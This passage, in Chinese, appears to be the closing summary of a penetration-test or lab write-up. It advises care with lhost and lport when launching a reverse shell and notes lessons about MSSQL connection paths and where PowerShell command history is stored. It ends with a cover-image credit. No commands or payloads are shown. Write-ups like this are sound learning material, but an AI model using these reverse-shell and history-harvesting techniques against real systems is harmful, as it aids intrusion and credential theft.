在执行反弹shell的时候一定要小心lhost和lport不要写错。

在本次测试中，也遇到了一些没遇到过的问题，比如：

• MSSQL 连接时的路径问题（/ 和 \ 的区别）
• Powershell 历史命令的存储位置

以上是本次测试的总结，再接再厉！

封面图片来自：https://api.mtyqx.cn/api/random.php，每次访问会随机显示一张二次元图片，非常适合用于动漫类博客的装饰或测试展示用途。